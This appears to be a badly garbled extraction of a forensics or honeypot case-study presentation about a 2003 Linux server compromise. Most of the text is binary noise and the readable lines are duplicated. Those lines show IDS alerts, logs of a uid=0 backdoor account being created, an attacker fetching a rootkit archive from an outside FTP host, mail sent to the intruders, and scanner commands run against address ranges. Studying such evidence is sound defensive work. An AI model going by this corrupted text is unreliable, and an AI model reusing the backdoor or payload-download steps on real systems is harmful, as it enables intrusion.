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�� 07/0207/02--15:00:55.25460415:00:55.254604 [**] [1:1915:6] RPC STATD [**] [1:1915:6] RPC STATD 
UDP monitor UDP monitor mon_namemon_name format string exploit attempt format string exploit attempt 
[**] [Classification: Attempted Administrator [**] [Classification: Attempted Administrator 
Privilege Gain] [Priority: 1] {UDP} Privilege Gain] [Priority: 1] {UDP} 
211.148.197.102:688 211.148.197.102:688 --> 10.5.1.91:111 > 10.5.1.91:111 

�� ���������2������������(����������2������������(�44�	�������������	������������


�� ���(��5���
�� ���(��5���66 (����� ������(����� ������77������������������������������������������
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�� JulJul 2 03:15:30 ftp1 PAM_pwdb[650]: (login) 2 03:15:30 ftp1 PAM_pwdb[650]: (login) 
session opened for user root by session opened for user root by LOGIN(uidLOGIN(uid=0)  =0)  

�� $����������������(����	���-�����������������	�$����������������(����	���-�����������������	�

��2��������������������!��2��������������������! "�2�2��������"�2�2��������

�����-�����	��2������--���	3������-�����	��2������--���	3�
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�� $��������2��������������������(�����������������$��������2��������������������(�����������������
������2�������������������	!�������2�������������������	!�

�� $�������������������2������/���������(�������(��$�������������������2������/���������(�������(��
��������	����	���������2���� ����������������0������������	����	���������2���� ����������������0����
��/�������������������!��/�������������������!

�� �/�2����������������������� ��������������2�������/�2����������������������� ��������������2������
-����888!-����888!

�� $������	���������%
���������2����������	��������$������	���������%
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�� 07/0207/02--15:00:54.28003115:00:54.280031 [**] [117:1:1] [**] [117:1:1] 
(spp_portscan2) (spp_portscan2) PortscanPortscan detected from detected from 
211.148.197.102: 6 targets 6 ports in 38 seconds 211.148.197.102: 6 targets 6 ports in 38 seconds 

[**] {TCP} 211.148.197.102:53917 [**] {TCP} 211.148.197.102:53917 --> 10.5.1.90:111> 10.5.1.90:111

��$������������-��/����	���-���������$������������-��/����	���-���������

�(��������������������/��	��(��������������������/��	�
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�� JulJul 2 03:15:30 ftp1 PAM_pwdb[650]: (login) session 2 03:15:30 ftp1 PAM_pwdb[650]: (login) session 
opened for user root by opened for user root by LOGIN(uidLOGIN(uid=0)=0)
JulJul 2 03:16:08 ftp1 adduser[686]: new user: name=2 03:16:08 ftp1 adduser[686]: new user: name=cgicgi, , 
uiduid=0, =0, gidgid=0, home=/home/=0, home=/home/cgicgi, shell=/bin/bash , shell=/bin/bash 
JulJul 2 03:17:50 ftp1 PAM_pwdb[692]: password for (cgi/0) 2 03:17:50 ftp1 PAM_pwdb[692]: password for (cgi/0) 
changed by ((null)/0)changed by ((null)/0)
JulJul 2 03:18:29 ftp1 adduser[701]: new user: name=2 03:18:29 ftp1 adduser[701]: new user: name=amyamy, , 
uiduid=500, =500, gidgid=500, home=/home/=500, home=/home/amyamy, shell=/bin/bash, shell=/bin/bash
JulJul 2 03:18:41 ftp1 PAM_pwdb[703]: password for 2 03:18:41 ftp1 PAM_pwdb[703]: password for 
(amy/500) changed by ((null)/0) (amy/500) changed by ((null)/0) 

�� 
���������������0-��������%
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���������������0-��������%
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�� 1������89����������/������0-��������������������������1 ������89����������/������0-��������������������������
��0���	�(����������������!�
���2�����0���	�(����������������!�
���2���77����0����		�3����0����		�3
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�� ��������������������������������0������������������������������������0����44������66 ��	���	�

�����(����������(�������-��������-��������������������������44�(��(�66!�!�

�� %��������������������������������������%��������������������������������������44������66 ������

&�.���������������	�/����������������!�&�.���������������	�/����������������!�

�� JulJul 2 03:18:56 ftp1 PAM_pwdb[707]: (login) session opened for 2 03:18:56 ftp1 PAM_pwdb[707]: (login) session opened for 
user user amyamy by (by (uiduid=0)=0)
JulJul 2 03:19:07 ftp1 PAM_pwdb[729]: (2 03:19:07 ftp1 PAM_pwdb[729]: (susu) session opened for ) session opened for 
user user cgicgi by by amy(uidamy(uid=500)=500)
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�� '�0�������'�0�������/�-�/�-����������������������(����������������������������(���������������������!�!�

�� [root@ftp1 /]# ftp 217.10.193.161[root@ftp1 /]# ftp 217.10.193.161
Connected to 217.10.193.161.Connected to 217.10.193.161.
150 Opening BINARY mode data connection for 150 Opening BINARY mode data connection for rk.tgzrk.tgz (636087 (636087 
bytes).bytes).
226 Transfer complete.226 Transfer complete.
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���(���������
���(�������������������������	�	����-���������!������-������:��	�	����-���������!������-������:����:-�����:-�����
��������������������������������77��-���������������		��!�&�/�����������������-���������������		��!�&�/�����������������������������
	����	����77���� ������������!����� ������������!�

�� �����������������-���	� ��������/������������������-���	� ��������/�-��;'�-��;'���	���	�����!�(�����!�(���2�������2�����
���������/��%����	���������(������!���������/��%����	���������(������!
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�� 
�����2���������������������
�����2���������������������77������!�,������		�����������!�,������		�����
���2����������������(��������2����������������(�����'� �	���'� �	��� "����$���!"����$���!

�� 220 mc3220 mc3--f28.law16.hotmail.com Microsoft ESMTP MAIL f28.law16.hotmail.com Microsoft ESMTP MAIL 
Service, Version: 5.0.2195.5600 ready atService, Version: 5.0.2195.5600 ready at Wed, 2 Wed, 2 
Jul 2003 03:04:38 Jul 2003 03:04:38 --0700 0700 
250250--mc3mc3--f28.law16.hotmail.com (02.02.00.0007) f28.law16.hotmail.com (02.02.00.0007) 
Hello [10.5.1.91][10.5.1.91]Hello [10.5.1.91][10.5.1.91]
250 root@ftp1....Sender OK250 root@ftp1....Sender OK
250 250 navodarihackteam@hotmail.comnavodarihackteam@hotmail.com
354 Start mail input; end with <CRLF>.<CRLF>354 Start mail input; end with <CRLF>.<CRLF>
250250 <200307012221.DAA07901@ftp1> Queued mail for <200307012221.DAA07901@ftp1> Queued mail for 
deliverydelivery
221 mc3221 mc3--f28.law16.hotmail.com Service closing f28.law16.hotmail.com Service closing 
transmission channeltransmission channel
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���	����-�������������/�����/������!�(���!�(�!�<����/������!�<����/������
����������!�(�����!�(� ��	�	����-���������������	�	����-�������������
:���:��������:!:���:��������:!���/�(:�������/�(:����!!

�� .������������/����!.������������/����!

�� ���������	�������������	��������(�=8!�!�!�����2����/������������	�������������	��������(�=8!�!�!�����2����/���
%
��
$�$.� ���������������0-���������������������	�%
��
$�$.� ���������������0-���������������������	�
��(�����!���(�����!�

�� [root@ftp1 [root@ftp1 haoshaos]# ]# shsh ././haosxhaosx 61 185 61 185 
[root@ftp1 [root@ftp1 haoshaos]# ./dat1 61 111 185 ]# ./dat1 61 111 185 
[root@ftp1 [root@ftp1 haoshaos]# ./dat2 ]# ./dat2 --d 0 61.185.253.98 d 0 61.185.253.98 

�� JulJul 2 03:45:26 ftp1 PAM_pwdb[729]: (2 03:45:26 ftp1 PAM_pwdb[729]: (susu) session closed ) session closed 
for user for user cgicgi
JulJul 2 03:45:31 ftp1 PAM_pwdb[707]: (login) session 2 03:45:31 ftp1 PAM_pwdb[707]: (login) session 
closed for user closed for user amyamy
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�� ?����������/����������������������������	�?����������/����������������������������	�

44�� �	������������� �	�����������44 ������(��(��(��(����	�/���	��������	�/���	������

���������(������	�������������(������	��������0!������0!��/������2�������	���/������2�������	���
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�������������-��	������� ������������������	�

���� ���!���� ���!

�� ���������������������2�����������������������2��77�� �����������������(��� �����������������(�

-����	���������	�������-������	!-����	���������	�������-������	!
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�� ��������������	����������/���(�� ���������-��������������������	����������/���(�� ���������-������

����������	�����(�!����������	�����(�!

�� A��������	����/�����-����� ��!A��������	����/�����-����� ��!

�� ��������2��������!��������2��������!
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�� #,,�,
�#,,�,
�BB �����������/�������������/��

�� #�����#�����BB ���	������	�'���������	������	�'������

�� ,(��,(��CC 44���� ��������2��	������������������� ��������2��	���������������66

�� ,�������������,�������������BB 44"����������������"����������������.�
�	.�
�	
���!-�����!��(���!-�����!��(66

�� ������������CC 44..<
���������������(���2�������..<
���������������(���2�������66

�� ,���������������(���-�,���������������(���-�BB 441����1���� ���	�����������	��������CC	���3	���366

�� 
������
������CC �����-�2��/������� ������2���������������������-�2��/������� ������2����������������
����������������������
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�� $���	�������������/����������� ����������	�-��	����$���	�������������/����������� ����������	�-��	����
�-�������-�����������	������������ ���������-�������-�����������	������������ ��������

�� $���-��-��������/�������������������(�	���������$���-��-��������/�������������������(�	���������
���� ��������� �����CC#������,(���,���������������������#������,(���,���������������������
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������5���-���	�
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������5���-���	�
�����

�� 1����������������	�-��	����������	�(�����-�������1 ����������������	�-��	����������	�(�����-�������
-�����������	������������ ���������-���������������-�����������	������������ ���������-���������������
�������������(����������������(���
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�� $�������������������/�-�������������D$�������������������/�-�������������D

�� 
��/����(��/���	� �	�����/�������-��-������/��	����/����������	�
��/����(��/���	� �	�����/�������-��-������/��	����/����������	�
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�� �������������	�����������/�	�����������	�������������2���������������������	�����������/�	�����������	�������������2��������

��������������	������	��(��/�����������������������������������	������	��(��/���������������������

�� &�������(���������������������������-��	�����(����� �����	����� &�������(���������������������������-��	�����(����� �����	����� ����������������

�-���/��������������(���-�:��	� �	�����-���/��������������(���-�:��	� �	����

�� &�������(��������������������������	�����/��0-�����	������������&�������(��������������������������	�����/��0-�����	����������������������

�� �� �� ������������������������� ����/������������������/������� �� �� ������������������������� ����/������������������/���������������77����

����������2��������!����������2��������!



(��	��(��	��..�	*��������	��	�	*��������	��	//0��&	0��&	

����	���������	�����11

�� ���2��(�������/��������������� ��������/������������������2��(�������/��������������� ��������/���������������

������������������������������������������������������
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�� � �������(������0������/�-������������-�������������������������� �������(������0������/�-������������-���������������������������������������������
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